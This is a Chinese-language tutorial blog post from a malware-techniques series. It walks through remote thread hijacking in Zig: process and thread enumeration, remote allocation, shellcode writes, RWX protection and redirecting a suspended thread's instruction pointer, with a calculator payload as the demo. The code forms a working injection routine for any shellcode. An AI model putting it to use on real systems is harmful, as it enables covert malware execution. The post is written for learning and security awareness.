嗨大家我回來了!今天是中秋節,中秋快樂!
昨天我們和大家介紹了本地的線程劫持,今天要來介紹遠端進程中的線程劫持啦!今天的內容和昨天頗為相似,閱讀起來應該比較輕鬆,如果還沒閱讀過(上)的話,十分推薦先去閱讀一下。
完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Thread-Hijacking/remote_thread_enumeration/
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
昨天有介紹過什麼是線程劫持,並且也帶大家一起用 Zig 寫了一個本地進程的線程劫持小程式,並去執行 MSFvenom 的小算盤 Payload。今天我們要來做的是遠端的線程劫持。
其實遠端進程的線程劫持和本地的整體邏輯和概念都差不多,只不過我們會去劫持遠端進程的線程,去操控它的控制流程讓其執行到我們設定的 Payload。我們再次複習一下本地線程劫持的流程,我們要先找到目標的線程,暫停它,獲取線程上下文,更改 Instruction Pointer 暫存器,設定線程上下文,最後讓線程恢復執行!
在遠端進程的線程枚舉和本地進程的線程枚舉最大的不同是遠端進程的線程枚舉需要傳入一個遠端進程的 PID。我們在昨天的本地進程的線程枚舉中不會需要,是因為我們可以直接使用 GetCurrentProcessId
來獲取本地進程的 PID。
所以我們會在一開始,先使用一個 getRemoteProcessHandle
函數來獲取遠端進程的 PID 跟句柄。這個函數其實就是我們在 Day18 跟 Day19 的時候講到的進程枚舉的函數。我們需要先枚舉到我們的目標進程,才能再進一步枚舉其線程,我們來看一下這個函數的實作。
一開始,我們會先初始化一個 PROCESSENTRY32W
結構體,為了待會要使用 Process32FirstW
跟 Process32NextW
來枚舉進程。
var process_entry = PROCESSENTRY32W{
.dwSize = @sizeOf(PROCESSENTRY32W),
.cntUsage = 0,
.th32ProcessID = 0,
.th32DefaultHeapID = 0,
.th32ModuleID = 0,
.cntThreads = 0,
.th32ParentProcessID = 0,
.pcPriClassBase = 0,
.dwFlags = 0,
.szExeFile = std.mem.zeroes([MAX_PATH]u16),
};
下一步,我們要建立系統快照,擷取目前系統所有執行中的進程。
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == windows.INVALID_HANDLE_VALUE) {
print("\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.SnapshotFailed;
}
defer _ = windows.CloseHandle(snapshot);
最後就是要用 Process32FirstW
取出第一個進程,然後再用 Process32NextW
去迭代每個進程,並逐一比對是否為我們需要的目標進程。
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("\t[!] Process32FirstW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var name_len: usize = 0;
for (process_entry.szExeFile) |char| {
if (char == 0) break;
name_len += 1;
}
if (name_len > 0) {
const lower_name = try toLowerString(allocator, process_entry.szExeFile[0..name_len]);
defer allocator.free(lower_name);
const lower_target = try toLowerString(allocator, process_name);
defer allocator.free(lower_target);
if (std.mem.eql(u16, lower_name, lower_target)) {
const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID);
if (handle == null) {
print("\t[!] OpenProcess Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.OpenProcessFailed;
}
return .{ .pid = process_entry.th32ProcessID, .handle = handle.? };
}
}
if (Process32NextW(snapshot, &process_entry) == 0) break;
}
如此一來,我們便可以用這個函數來獲得目標進程的 PID。獲取到 PID 後,我們會把它傳入到 getRemoteThreadHandle
函數中,該函數會去枚舉目標進程下的線程,並且會回傳 TID 跟句柄。整體流程和進程的枚舉幾乎相同,都是用 CreateToolhelp32Snapshot
來建立系統快照,並枚舉其中的線程。值得注意的是,這邊開啟句柄時使用的權限是 THREAD_ALL_ACCESS
讓這個句柄有較高的權限,這是為了讓我們後續的操作更加順利。
fn getRemoteThreadHandle(process_id: windows.DWORD) !struct { tid: windows.DWORD, handle: windows.HANDLE } {
var thread_entry = THREADENTRY32{
.dwSize = @sizeOf(THREADENTRY32),
.cntUsage = 0,
.th32ThreadID = 0,
.th32OwnerProcessID = 0,
.tpBasePri = 0,
.tpDeltaPri = 0,
.dwFlags = 0,
};
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot == windows.INVALID_HANDLE_VALUE) {
print("\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.SnapshotFailed;
}
defer _ = windows.CloseHandle(snapshot);
if (Thread32First(snapshot, &thread_entry) == 0) {
print("\t[!] Thread32First Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.ThreadEnumFailed;
}
var candidate_threads: [10]windows.DWORD = undefined;
var candidate_count: usize = 0;
// Collect all threads from the target process
while (true) {
if (thread_entry.th32OwnerProcessID == process_id and candidate_count < candidate_threads.len) {
candidate_threads[candidate_count] = thread_entry.th32ThreadID;
candidate_count += 1;
}
if (Thread32Next(snapshot, &thread_entry) == 0) break;
}
// Try to open each thread
for (candidate_threads[0..candidate_count]) |thread_id| {
const handle = OpenThread(THREAD_ALL_ACCESS, 0, thread_id);
if (handle != null) {
print("\t[i] Successfully opened thread {}\n", .{thread_id});
return .{ .tid = thread_id, .handle = handle.? };
} else {
print("\t[!] Failed to open thread {} with error: {}\n", .{ thread_id, windows.kernel32.GetLastError() });
}
}
return error.ThreadNotFound;
}
遠端線程的劫持的原理也和本地一樣,都是透過更改 Instruction Pointers 來達成的。當我們拿到遠端線程的句柄之後,我們就可以開始線程劫持的步驟了!
不過記得,我們在線程劫持之前,需要先把 Payload 給寫進遠端的進程中。在我們把 Payload 寫入遠端記憶體之後,才能把線程中的 Instruction Pointer 指向 Payload 的基址。那我們就來看一下 injectShellcodeToRemoteProcess
這個函數,它會負責把 Payload 寫入到遠端的記憶體中。
一開始,我們會先需要使用 VirtualAllocEx
這個 Windows API 來分配一塊遠端的記憶體。
const address = VirtualAllocEx(
process_handle,
null,
shellcode.len,
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE,
);
if (address == null) {
print("\t[!] VirtualAllocEx Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.VirtualAllocFailed;
}
下一步,要使用 WriteProcessMemory
來把 Payload 寫入到遠端進程的記憶體中。
if (windows.WriteProcessMemory(process_handle, address, shellcode)) |bytes_written| {
if (bytes_written != shellcode.len) {
print("[!] {}/{} bytes memory written\n", .{ bytes_written, shellcode.len });
return error.IncompleteWrite;
}
} else |err| {
print("\t[!] WriteProcessMemory Failed With Error: {}\n", .{err});
return error.WriteProcessMemoryFailed;
}
在寫入完成後,還要使用 VirtualProtectEx
來更改記憶體的保護設定,讓這塊記憶體是可執行的。
const old_protection = windows.VirtualProtectEx(
process_handle,
address,
shellcode.len,
windows.PAGE_EXECUTE_READWRITE,
) catch |err| {
print("\t[!] VirtualProtectEx Failed With Error: {}\n", .{err});
return error.VirtualProtectFailed;
};
_ = old_protection;
如此一來,我們就完成了把 Payload 寫入遠端記憶體的過程了。那接著,我們就要來執行線程劫持了。我們來看一下這個 hijackThread
函數,它負責劫持遠端的線程並更改其中的 Instruction Pointer。第一步,我們需要設置線程上下文的設置為 CONTEXT_ALL
。
thread_context.ContextFlags = CONTEXT_ALL;
下一步,我們要把遠端的線程暫停。
const suspend_count = SuspendThread(thread_handle);
if (suspend_count == 0xFFFFFFFF) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] SuspendThread Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
return false;
}
在線程暫停以後,我們需要先來獲取線程的上下文。
if (GetThreadContext(thread_handle, &thread_context) == 0) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] GetThreadContext Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
_ = ResumeThread(thread_handle);
return false;
}
獲取完成後,線程的上下文被我們寫在了 thread_context
的函數中。我們下一步需要更改 Instruction Pointer 來將其指向 Payload 的基址。
thread_context.Rip = @intFromPtr(address);
更改完成後,還需要用 SetThreadContext
來把線程的上下文寫回去。
if (SetThreadContext(thread_handle, &thread_context) == 0) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] SetThreadContext Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
_ = ResumeThread(thread_handle);
return false;
}
最後讓線程恢復執行。
const resume_count = ResumeThread(thread_handle);
if (resume_count == 0xFFFFFFFF) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] ResumeThread Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
return false;
}
記得使用 WaitForSingleObject
去等待線程的 Payload 執行完成。
_ = try windows.WaitForSingleObject(thread_handle, windows.INFINITE);
我們來測試一下這個程式吧!它的使用方式是在命令行的參數中傳入我們打算劫持的線程所屬的進程名稱,在這邊我們使用 notepad.exe
作為範例目標。下圖示範我們找到的 PID 和 TID。
並且我們還可以看一下我們分配的遠端記憶體,記得,要把 x64dbg 給 Attach 在遠端的進程中(本範例中為 Notepad)。
下一步,把 Payload 寫入遠端進程並且劫持線程。我們使用 System Informer 點兩下剛剛看到的 TID 的那個欄位,可以看到果然線程的 Stack 顯示下一個要執行的任務就是我們的 Payload 的地址。
最後,我們讓線程恢復執行,跳出小算盤。
鐵人賽第 22 天完成囉!不知不覺已經到了尾聲,離完賽剩下最後的幾天了!
今天跟大家介紹了遠端進程的線程劫持,明天要寫什麼的話我還要再考慮一下 XD。不過歡迎大家可以留言或是分享,給我一點回饋,我會很開心的。如果有寫錯或是想建議的都歡迎直接留言,感謝大家閱讀到這邊,再會囉!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!